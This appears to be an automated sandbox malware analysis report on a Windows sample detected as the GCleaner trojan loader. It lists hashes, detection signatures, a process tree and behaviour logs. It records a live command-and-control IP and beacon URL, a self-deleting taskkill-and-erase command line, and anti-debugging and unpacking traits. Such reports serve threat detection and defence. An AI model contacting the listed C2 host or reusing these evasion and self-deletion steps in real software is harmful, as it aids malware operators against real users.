Edit tour

Windows Analysis Report
KLJM7VyjZ2.exe

Overview

General Information

Sample name:	KLJM7VyjZ2.exe renamed because original name is a hash value
Original sample name:	206f7bf98269d08b4cb9aaa0a97214e0.exe
Analysis ID:	1429196
MD5:	206f7bf98269d08b4cb9aaa0a97214e0
SHA1:	f827a30d0354844bd965135dc2e652f33986b8de
SHA256:	8d8369a5383653ff8f891ac08546aaf807fe2d3d355a04f5ce8f4b22ca78685e
Tags:	32exeGCleanertrojan
Infos:

Detection

GCleaner

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected GCleaner

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara signature match

Classification

Process Tree

System is w10x64

KLJM7VyjZ2.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\KLJM7VyjZ2.exe" MD5: 206F7BF98269D08B4CB9AAA0A97214E0)

WerFault.exe (PID: 6764 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 732 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6984 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 740 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 776 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 984 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 792 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 5700 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 972 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6820 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1020 MD5: C31336C1EFC2CCB44B4326EA793040F2)

conhost.exe (PID: 7036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 6976 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1324 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 6960 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "KLJM7VyjZ2.exe" /f & erase "C:\Users\user\Desktop\KLJM7VyjZ2.exe" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5084 cmdline: taskkill /im "KLJM7VyjZ2.exe" /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

WerFault.exe (PID: 1436 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1448 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
GCleaner		No Attribution	https://bazaar.abuse.ch/browse/signature/GCleaner/ https://github.com/VenzoV/MalwareAnalysisReports/blob/main/GCleaner/GCleaner%20Techincal%20Analysis%20with%20BinaryNinja.md https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145 https://n1ght-w0lf.github.io/malware%20analysis/gcleaner-loader/ https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/	https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner

Malware Configuration

Threatname: GCleaner

{"C2 addresses": ["185.172.128.90"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1740:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000003.1632115312.00000000036A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89

Unpacked PEs

Source	Rule	Description	Author
0.2.KLJM7VyjZ2.exe.1cb0e67.1.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.KLJM7VyjZ2.exe.1cb0e67.1.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.3.KLJM7VyjZ2.exe.36a0000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.KLJM7VyjZ2.exe.400000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.3.KLJM7VyjZ2.exe.36a0000.0.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
0.2.KLJM7VyjZ2.exe.400000.0.raw.unpack	JoeSecurity_GCleaner	Yara detected GCleaner	Joe Security
Click to see the 1 entries

Snort Signatures

ETPRO TROJAN Win32/Unknown Loader Related Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 185.172.128.90

Timestamp:	04/21/24-08:25:57.545496
SID:	2856233
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: GET /cpa/ping.php?substr=one&s=two HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.172.128.90Connection: Keep-AliveCache-Control: no-cache

Source: KLJM7VyjZ2.exe, 00000000.00000002.1829516109.0000000001DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.90/cpa/ping.php?substr=one&s=two
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00404710	0_2_00404710
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00409860	0_2_00409860
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00413C49	0_2_00413C49
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00413464	0_2_00413464
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00421D42	0_2_00421D42
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB4977	0_2_01CB4977
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB9AC7	0_2_01CB9AC7
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CC36CB	0_2_01CC36CB

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: String function: 00408A60 appears 38 times
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: String function: 01CB8CC7 appears 37 times

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 732

Source: KLJM7VyjZ2.exe, 00000000.00000002.1830174485.0000000004232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs KLJM7VyjZ2.exe
Source: KLJM7VyjZ2.exe, 00000000.00000000.1631696480.0000000001A03000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs KLJM7VyjZ2.exe
Source: KLJM7VyjZ2.exe	Binary or memory string: OriginalFilenameFires0 vs KLJM7VyjZ2.exe

Source: KLJM7VyjZ2.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1829489628.0000000001D1F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@15/34@0/1

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Code function: 0_2_01D2076E CreateToolhelp32Snapshot,Module32First,

0_2_01D2076E

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ping[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6956:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6508
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7036:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\42e470b9-bdaa-452b-b6fc-0c8595b205f2

Jump to behavior

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Command line argument: `a}{	0_2_00404710
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Command line argument: `a}{	0_2_01CB4977
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Command line argument: (zB	0_2_01CB4977
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Command line argument: `yB	0_2_01CB4977

Source: KLJM7VyjZ2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "KLJM7VyjZ2.exe")

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: KLJM7VyjZ2.exe	ReversingLabs: Detection: 44%
Source: KLJM7VyjZ2.exe	Virustotal: Detection: 43%

Source: unknown	Process created: C:\Users\user\Desktop\KLJM7VyjZ2.exe "C:\Users\user\Desktop\KLJM7VyjZ2.exe"
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 732
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 740
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 776
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 792
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 972
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1020
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1324
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "KLJM7VyjZ2.exe" /f & erase "C:\Users\user\Desktop\KLJM7VyjZ2.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "KLJM7VyjZ2.exe" /f
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 1448
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "KLJM7VyjZ2.exe" /f & erase "C:\Users\user\Desktop\KLJM7VyjZ2.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "KLJM7VyjZ2.exe" /f

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: KLJM7VyjZ2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\waxodi-tic.pdb source: KLJM7VyjZ2.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Unpacked PE file: 0.2.KLJM7VyjZ2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Unpacked PE file: 0.2.KLJM7VyjZ2.exe.400000.0.unpack

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_0041004A push es; ret	0_2_0041004B
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_0040857E push ecx; ret	0_2_00408591
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CC480D push esp; retf	0_2_01CC480E
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CC02B1 push es; ret	0_2_01CC02B2
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CC420F push esp; retf	0_2_01CC4217
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB87E5 push ecx; ret	0_2_01CB87F8
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CCC705 push ss; retf	0_2_01CCC709
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D22966 push ecx; ret	0_2_01D22967
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D23868 pushad ; ret	0_2_01D2386C
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24D90 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24DA4 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D25553 push ecx; ret	0_2_01D25552
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24D66 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24D68 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D21515 push 6B2D8590h; ret	0_2_01D21525
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24D19 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D24D07 push ss; ret	0_2_01D24DA3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D2550A push ecx; ret	0_2_01D25552
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D254D9 push ecx; ret	0_2_01D25552
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D214EA pushad ; retf	0_2_01D21501
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D237D2 push eax; iretd	0_2_01D23810
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D23F25 push ebp; retf	0_2_01D23F26
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D236F6 pushad ; ret	0_2_01D23748
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D2464D push FFFFFF8Bh; ret	0_2_01D24650
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D22E74 push 5AE86760h; ret	0_2_01D22E7A

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
